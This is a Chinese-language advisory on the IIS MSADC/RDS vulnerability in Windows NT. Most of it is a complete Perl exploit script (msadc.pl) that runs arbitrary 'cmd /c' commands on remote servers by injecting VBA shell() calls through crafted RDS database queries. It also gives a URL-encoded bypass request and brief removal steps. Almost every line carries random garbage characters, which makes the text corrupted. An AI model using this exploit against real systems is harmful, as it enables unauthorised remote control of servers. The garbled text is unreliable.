IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3w&Z:< tq=7HM 涉及程序：
|-9##0H Microsoft NT server
o*5b]XWw @{@DGc 描述：
4Q (w
D 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
("s!t?!&YS / _ Fi4wZ 详细：
Ow 0( q^H< 如果你没有时间读详细内容的话，就删除:
?$@E}t8g\ c:\Program Files\Common Files\System\Msadc\msadcs.dll
09 v m5| 有关的安全问题就没有了。
)1/J5DI @8 PG{"GiZz= 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Dco3`4pl 5Z>+NKQ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
H2{&da@D5 关于利用ODBC远程漏洞的描述，请参看:
I:UN2`*# ~. E r http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm H,(4a2zx H<Zs2DP` 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
$r1{N h http://www.microsoft.com/security/bulletins/MS99-025faq.asp ` svOPB4C' _| >bOI 这里不再论述。
8b X?HeYrr Na.)!h_Kn' 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
V!f'
O@p[ M tG~ O;?8 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
\ ccCrDz 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Zr|\T7w 3 E9Hyd #A iza.' Mm~ #将下面这段保存为txt文件，然后: "perl -x 文件名"
T# 3`&[ o(YF`;OhvS #!perl
Ym
wb2]M #
Bg}( Sy # MSADC/RDS 'usage' (aka exploit) script
b`^mpB*6R #
-^,wQW:o) # by rain.forest.puppy
J %P{/ nR
#
W;T (q~XK # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
-v~XS-F # beta test and find errors!
SXRND;-W8 ^ 2 0x\K use Socket; use Getopt::Std;
m8 Ti{w( getopts("e:vd:h:XR", \%args);
* oru;=D@8 yHxi^D] print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(h27SLYm JT*Pm"} if (!defined $args{h} && !defined $args{R}) {
An=Q`Uxt/ print qq~
+ z zS Usage: msadc.pl -h <host> { -d <delay> -X -v }
9S{?@*V -h <host> = host you want to scan (ip or domain)
vW03nt86 -d <seconds> = delay between calls, default 1 second
' ?b.t2 -X = dump Index Server path table, if available
% ^& D, -v = verbose
{ud^+I& -e = external dictionary file for step 5
lPn&,\9@~ 4.'KT;[_1/ Or a -R will resume a command session
7.(vog"I) \\,z[C ~; exit;}
nXxSv ~r ]]_H| tO $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
UdX aC= Q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
hionR)R4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
FUKE.Uxd if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
+( V+XT $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
J9`[Qy\ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Gq^#.o] *,p16"Q; if (!defined $args{R}){ $ret = &has_msadc;
b6gD*w < die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-Q P&A >]7 :@q9ll`6u print "Please type the NT commandline you want to run (cmd /c assumed):\n"
OvW/{ . "cmd /c ";
:Qklbd[9qF $in=<STDIN>; chomp $in;
>jBnNA@ $command="cmd /c " . $in ;
O7\ )C]A T#w *5Q f if (defined $args{R}) {&load; exit;}
9{5 c}bX N>_d { =P print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
^9I^A! w= &try_btcustmr;
xn)r6 &-6 D'@ print "\nStep 2: Trying to make our own DSN...";
Dw C8?s*2H &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
#L,5;R{` 05 m/iQ print "\nStep 3: Trying known DSNs...";
=AJ I3 'x &known_dsn;
P 1m PC [/I 1%6; print "\nStep 4: Trying known .mdbs...";
>SZ9,K4Gs &known_mdb;
nW
(wu!2 #%g~fh if (defined $args{e}){
2_ HPsEx print "\nStep 5: Trying dictionary of DSN names...";
5-pz/%, &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ctxx.MM 'zhw]L;'g print "Sorry Charley...maybe next time?\n";
RU'DUf exit;
0IEFCDeCO ywV8s|o ##############################################################################
|79!exVMBp s(I7}oRWsL sub sendraw { # ripped and modded from whisker
GcPhT sleep($delay); # it's a DoS on the server! At least on mine...
(N\Zz*PLz my ($pstr)=@_;
p
}bTI5 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$zBG19 [% die("Socket problems\n");
M('cG if(connect(S,pack "SnA4x8",2,80,$target)){
~!!>`x select(S); $|=1;
ZR'q.y[k) print $pstr; my @in=<S>;
b\w88=| select(STDOUT); close(S);
PaFJw5f return @in;
N+PW, a } else { die("Can't connect...\n"); }}
Yn} _"FO' TPds )osZT ##############################################################################
E#FyL>:.h Cs
% -f" sub make_header { # make the HTTP request
u-h3x j my $msadc=<<EOT
#7U,kTj9 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
(r.{v@h,dV User-Agent: ACTIVEDATA
05MtQB Host: $ip
Tf"DpA!_ Content-Length: $clen
]Nvtiw 6 Connection: Keep-Alive
G1~|$X@@ !DCJ2h%E[_ ADCClientVersion:01.06
Wx/!My u Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
`R ^g[0 w' 0{Kl5>Z9M --!ADM!ROX!YOUR!WORLD!
,\DB8v6l\A Content-Type: application/x-varg
9hT^Y,c0 Content-Length: $reqlen
y+?tU SPP -i'T!Qg1 EOT
/)de`k" ; $msadc=~s/\n/\r\n/g;
7Yxy2[ return $msadc;}
9,'5~+7 8'B\%.+"8e ##############################################################################
\sC0om, (`18W1f5W sub make_req { # make the RDS request
c`X'Q)c&K my ($switch, $p1, $p2)=@_;
$YS D%/c my $req=""; my $t1, $t2, $query, $dsn;
fwAN9zs C)z[Blt if ($switch==1){ # this is the btcustmr.mdb query
&u"*vG (U[ $query="Select * from Customers where City=" . make_shell();
vO{ijHKE $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
?/)5U}*M0T $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
=O)JPo&iwY M Zw%s(lv elsif ($switch==2){ # this is general make table query
G"TPu _g $query="create table AZZ (B int, C varchar(10))";
_u;^w}0 $dsn="$p1";}
#fGb M!3p 9rao&\eH elsif ($switch==3){ # this is general exploit table query
_ |TE )h $query="select * from AZZ where C=" . make_shell();
n/?5[O-D] $dsn="$p1";}
5.[{PJ]bq ,mYoxEB kl elsif ($switch==4){ # attempt to hork file info from index server
&F'v_9 $query="select path from scope()";
U&3*c +B4 $dsn="Provider=MSIDXS;";}
yK?~X V: kFM'?L& elsif ($switch==5){ # bad query
{|xwvTl J $query="select";
qW7"qw= $dsn="$p1";}
NTL#! ;$&-c/]F# $t1= make_unicode($query);
sD{b0mZT $t2= make_unicode($dsn);
pN0c'COy^ $req = "\x02\x00\x03\x00";
:
1fik $req.= "\x08\x00" . pack ("S1", length($t1));
d<7J)zUm3 $req.= "\x00\x00" . $t1 ;
[k'Ph3 3c $req.= "\x08\x00" . pack ("S1", length($t2));
I9F[b#'Pn $req.= "\x00\x00" . $t2 ;
P1)
80<t $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
j 5'Jp} return $req;}
6>=>Yj )1fQhdO }x ##############################################################################
@L< [38 DQlaSk4hF_ sub make_shell { # this makes the shell() statement
b7AuKY{L return "'|shell(\"$command\")|'";}
uaPB M< oLr"8R\d>t ##############################################################################
!W%HAlUAG[ X^ |oY]D sub make_unicode { # quick little function to convert to unicode
Jl]]nO BQ/ my ($in)=@_; my $out;
&YT7>z, for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Bd
NuhV`0 return $out;}
rIb[gm)Rk B?0{ =u ##############################################################################
~M'\9 G' Q7(c sub rdo_success { # checks for RDO return success (this is kludge)
btOTDqG`a my (@in) = @_; my $base=content_start(@in);
=H,cwSE+% if($in[$base]=~/multipart\/mixed/){
7t04!dD} return 1 if( $in[$base+10]=~/^\x09\x00/ );}
oo Z-T>$ return 0;}
%UQ?k:aWp| ~o/^=:* ##############################################################################
4[J3HLQ ,#wVqBEk sub make_dsn { # this makes a DSN for us
5R=lTx/Hj my @drives=("c","d","e","f");
rp'fli? 0e print "\nMaking DSN: ";
xeI ,Kz." foreach $drive (@drives) {
,K9UT#h print "$drive: ";
`C*!de]Y% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
f <w*l<@ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
VNYLps@4H . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
<Y#R]gf1 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
!GIs mqVY return 0 if $2 eq "404"; # not found/doesn't exist
HQ
s)T if($2 eq "200") {
Z@[ ,"{Sn foreach $line (@results) {
:>X7(&j8 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
I
}/Oi]jA6 } return 0;}
li%-9Jd & 16bZw ##############################################################################
Mt YP3:
5pok% g
sub verify_exists {
*[SsvlFt my ($page)=@_;
H*\[:tPa my @results=sendraw("GET $page HTTP/1.0\n\n");
.d "+M{I return $results[0];}
Agi1r]W *cf" l ##############################################################################
8zc!g|5" +
kF[Oh# sub try_btcustmr {
P+b^;+\1s my @drives=("c","d","e","f");
Oq2H>eW`f my @dirs=("winnt","winnt35","winnt351","win","windows");
Iv<9} )2K z;/'OJ[. foreach $dir (@dirs) {
*SY4lqN print "$dir -> "; # fun status so you can see progress
'QS"4EvdD foreach $drive (@drives) {
ltrSTH,kL print "$drive: "; # ditto
eurudl $reqlen=length( make_req(1,$drive,$dir) ) - 28;
e6R "W9 $reqlenlen=length( "$reqlen" );
yQA[X} $clen= 206 + $reqlenlen + $reqlen;
$dnHUBB %8*d)AB: my @results=sendraw(make_header() . make_req(1,$drive,$dir));
) ,hj7 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
O2,g] t~C else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Qwa"AY 5pW J: lwq@u ##############################################################################
Q$vr`yV#=6 ,>UmKrYo sub odbc_error {
>Y+ KL my (@in)=@_; my $base;
zrew:5*uZ my $base = content_start(@in);
`az `?`i7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
cA%U $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Zd(d]M_x $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^d9raYE`' $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
gk z#kiGF return $in[$base+4].$in[$base+5].$in[$base+6];}
LgNNtZ&F print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
4:@|q :DR print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
"r
V4[MVxt $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
0w ['jh|, z= p ##############################################################################
4LjSDgA oPy zk7{ sub verbose {
]R{"=H' my ($in)=@_;
+2}(]J=- return if !$verbose;
,&?q}M print STDOUT "\n$in\n";}
t lERis y|Y3,s ##############################################################################
1Kh?JH J\so 8uT: sub save {
'c[LTpn4= my ($p1, $p2, $p3, $p4)=@_;
[U(&Ae0V> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
y:OywIi( print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
&&]!+fTZ\( close OUT;}
y+scJ+ < $cOD6X r)d ##############################################################################
1:!rw,Jzl` W-PZE|< sub load {
T+nC>}*jgJ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(bt]GAxb1 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
];d:z[\P @p=<IN>; close(IN);
W>s'4C` $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
C9H11g7{ $target= inet_aton($ip) || die("inet_aton problems");
<M OL{jan print "Resuming to $ip ...";
,;P`Mf'YC $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
\u _v7g if($p[1]==1) {
4<g72| y $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
>.hGoT!_k $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
HCIF9{o1j> my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
aF{i
A\ if (rdo_success(@results)){print "Success!\n";}
')<FLCFwT else { print "failed\n"; verbose(odbc_error(@results));}}
l q8 ko@ elsif ($p[1]==3){
/eRtj:9 M if(run_query("$p[3]")){
DsW`V~ T print "Success!\n";} else { print "failed\n"; }}
8Qz7uPq elsif ($p[1]==4){
RpK,ixbtA+ if(run_query($drvst . "$p[3]")){
7 3z
Y^ x print "Success!\n"; } else { print "failed\n"; }}
9H} iX0O exit;}
A4Q)YY9~ 6 +;2B<II ##############################################################################
iB3 + KR !-RpRRR[Co sub create_table {
%H}Y]D ~R my ($in)=@_;
Mto~ / $reqlen=length( make_req(2,$in,"") ) - 28;
!$xEX,vj|W $reqlenlen=length( "$reqlen" );
N ^yO- xk $clen= 206 + $reqlenlen + $reqlen;
ww cwYPeg my @results=sendraw(make_header() . make_req(2,$in,""));
a^T 4\ return 1 if rdo_success(@results);
q3-;}+ my $temp= odbc_error(@results); verbose($temp);
/^33 e+j return 1 if $temp=~/Table 'AZZ' already exists/;
fd"~[ z [ return 0;}
sR>;h / 4`-?r%$,: ##############################################################################
31sgf5 s V=4u7!ha
sub known_dsn {
;k&k#>L!K # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
#Wm@&|U my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
ROt0<^< "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
vx5o
k1UY "banner", "banners", "ads", "ADCDemo", "ADCTest");
tbzvO< ~ q\b
?o!# _ foreach $dSn (@dsns) {
,o>pmaoL s print ".";
e N< pU%7 next if (!is_access("DSN=$dSn"));
\m~\, em if(create_table("DSN=$dSn")){
v6P~XK}G print "$dSn successful\n";
R`C_CsXir if(run_query("DSN=$dSn")){
"">f n( print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%cr]ZR print "Something's borked. Use verbose next time\n";}}} print "\n";}
PDq}T q LYy:IBI7_ ##############################################################################
T3t~=b>&L /IJ9 _To sub is_access {
{8Jk=)(md my ($in)=@_;
<#p|z`N $reqlen=length( make_req(5,$in,"") ) - 28;
-KwL 9J4 u $reqlenlen=length( "$reqlen" );
ilRm}lU|x $clen= 206 + $reqlenlen + $reqlen;
%Q sSR'` my @results=sendraw(make_header() . make_req(5,$in,""));
.xz,pn} my $temp= odbc_error(@results);
+z jzO]8 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
svq9@!go return 0;}
M`C~6Mf+ #:vDBP05.m ##############################################################################
qgC-@I v_ nBh,2 sub run_query {
K!D_PxV my ($in)=@_;
`/wq3+ ? $reqlen=length( make_req(3,$in,"") ) - 28;
G\:psx/ $reqlenlen=length( "$reqlen" );
M*~v'L_sI $clen= 206 + $reqlenlen + $reqlen;
H8<7# my @results=sendraw(make_header() . make_req(3,$in,""));
:&1=8^B Y return 1 if rdo_success(@results);
nA_
z P4 my $temp= odbc_error(@results); verbose($temp);
A D}}>v return 0;}
22Y!u00D lGnql 1( ##############################################################################
,'1Olu{v[s ZLN_,/7 sub known_mdb {
1^60I#Vr@ my @drives=("c","d","e","f","g");
W]!@Zlal my @dirs=("winnt","winnt35","winnt351","win","windows");
l\sS? my $dir, $drive, $mdb;
2 -p my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
jgo<#AJ/E f.$a FOn # this is sparse, because I don't know of many
^!o1l-Y^gr my @sysmdbs=( "\\catroot\\icatalog.mdb",
!7kLFW "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(w#s lTFT "\\system32\\certmdb.mdb",
/ 8WpX "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
DUuC3^R C{`^9J- my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
A"BtVy[[9 "\\cfusion\\cfapps\\forums\\forums_.mdb",
V6z@"+ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
wHt#'`5 "\\cfusion\\cfapps\\security\\realm_.mdb",
uzVG q!'H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
*m| t =9E "\\cfusion\\database\\cfexamples.mdb",
D*XZT{1g "\\cfusion\\database\\cfsnippets.mdb",
g]==!!^<D "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$||ns@F+ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
RI5g+Du? "\\cfusion\\brighttiger\\database\\cleam.mdb",
l C /Hib "\\cfusion\\database\\smpolicy.mdb",
ET,0ux9F "\\cfusion\\database\cypress.mdb",
% Vw|5yA4 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
BDm88< ] "\\website\\cgi-win\\dbsample.mdb",
[V2omSZo "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
~E<PtDab "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
GTp?)nh^ ); #these are just
<*A|pns foreach $drive (@drives) {
n?ZL"!$ foreach $dir (@dirs){
o% /-5- foreach $mdb (@sysmdbs) {
yUD_ w print ".";
k%Ma 4_Z if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
+(=0CA0GE print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Qc&-\kQ:$u if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
[xZ/ZWb/ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
C-a*EG } else { print "Something's borked. Use verbose next time\n"; }}}}}
aDN6MZ M t?]\M&i& foreach $drive (@drives) {
55> " R{q foreach $mdb (@mdbs) {
+7i7`'9pd print ".";
J$6-c' 8 if(create_table($drv . $drive . $dir . $mdb)){
JVUZ}#O print "\n" . $drive . $dir . $mdb . " successful\n";
F_Z&-+,*3t if(run_query($drv . $drive . $dir . $mdb)){
H}) Dcg3 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
i14[3bPLk! } else { print "Something's borked. Use verbose next time\n"; }}}}
VjA wn}eO }
7d|*postv x9x #'H3 ##############################################################################
2Y E;m& 4T-,'P{? sub hork_idx {
KMxNH,5 print "\nAttempting to dump Index Server tables...\n";
2~G,Ia print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
X
zi'Lu ` $reqlen=length( make_req(4,"","") ) - 28;
QMXD9H0{ $reqlenlen=length( "$reqlen" );
O8K@&V p $clen= 206 + $reqlenlen + $reqlen;
wMH[QYb<* my @results=sendraw2(make_header() . make_req(4,"",""));
H4PbO/{ xO if (rdo_success(@results)){
toS(UM n my $max=@results; my $c; my %d;
;Pol#0_( for($c=19; $c<$max; $c++){
E3 ~,+68U $results[$c]=~s/\x00//g;
w+Z- -@\ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
"*Lj8C3|n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8
3z'# $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
:X'*8,]KHH $d{"$1$2"}="";}
z +3<$Z foreach $c (keys %d){ print "$c\n"; }
L JRg>8 } else {print "Index server doesn't seem to be installed.\n"; }}
o }9M`[ 2Ueq6IuQ ##############################################################################
!Y ;H(.A/ N5pinR5 H sub dsn_dict {
Xt</ -` open(IN, "<$args{e}") || die("Can't open external dictionary\n");
iGG6Myp- while(<IN>){
;;ED N45 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
wF|0 n t next if (!is_access("DSN=$dSn"));
Y w$a{5 g if(create_table("DSN=$dSn")){
{l&Ltruhz print "$dSn successful\n";
l ^DINZU@ if(run_query("DSN=$dSn")){
>.DF"]XM print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
vKcl6bVT print "Something's borked. Use verbose next time\n";}}}
|A ;o0pL print "\n"; close(IN);}
OOEV-= v-P8WFjca ##############################################################################
89LpklD ]]el| sub sendraw2 { # ripped and modded from whisker
E
S#rs=" sleep($delay); # it's a DoS on the server! At least on mine...
G{@C"H[$< my ($pstr)=@_;
:7 qqjs
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Jt##rVN die("Socket problems\n");
zq,iLoY[R if(connect(S,pack "SnA4x8",2,80,$target)){
4` '8fe/" print "Connected. Getting data";
[8, PO open(OUT,">raw.out"); my @in;
O0@w(L- select(S); $|=1; print $pstr;
6eOrs-ty while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
mND XzT& close(OUT); select(STDOUT); close(S); return @in;
+68+PhHF } else { die("Can't connect...\n"); }}
./5jx2V :z
B}z^ 8- ##############################################################################
Sa%zre@ kP)YgkE sub content_start { # this will take in the server headers
FhW mO my (@in)=@_; my $c;
@@'nit for ($c=1;$c<500;$c++) {
uW UR3n if($in[$c] =~/^\x0d\x0a/){
.CVUEK@Z4 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
k1wCa^*gc else { return $c+1; }}}
"e~k-\ ^Y return -1;} # it should never get here actually
S3SV.C:z> 'I&|1I^ ##############################################################################
VBu8}}Ql z )5S^{( sub funky {
wb]*u7G
t/ my (@in)=@_; my $error=odbc_error(@in);
sC% b~ if($error=~/ADO could not find the specified provider/){
-@rxiC:Q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
?Q@L-H` exit;}
`'u Umyg if($error=~/A Handler is required/){
{I`B[, * print "\nServer has custom handler filters (they most likely are patched)\n";
Xc\* 9XV: exit;}
kt :)W])V if($error=~/specified Handler has denied Access/){
p lK =D#) print "\nServer has custom handler filters (they most likely are patched)\n";
#:$O=@@?M exit;}}
k]Zo-xh4
#;d)? ##############################################################################
|</"N-#S 6 ^Ph ' sub has_msadc {
{]=v]O |, my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Q4X7Iu: my $base=content_start(@results);
Xad*I ulj return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
HeCcF+ return 0;}
#e*X0;m Ejq=*UOP ########################
lj)f4zu vK(I3db ! J2r1=5HS 解决方案：
C*7!dW6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
4GV Nw!V 2、移除web 目录: /msadc
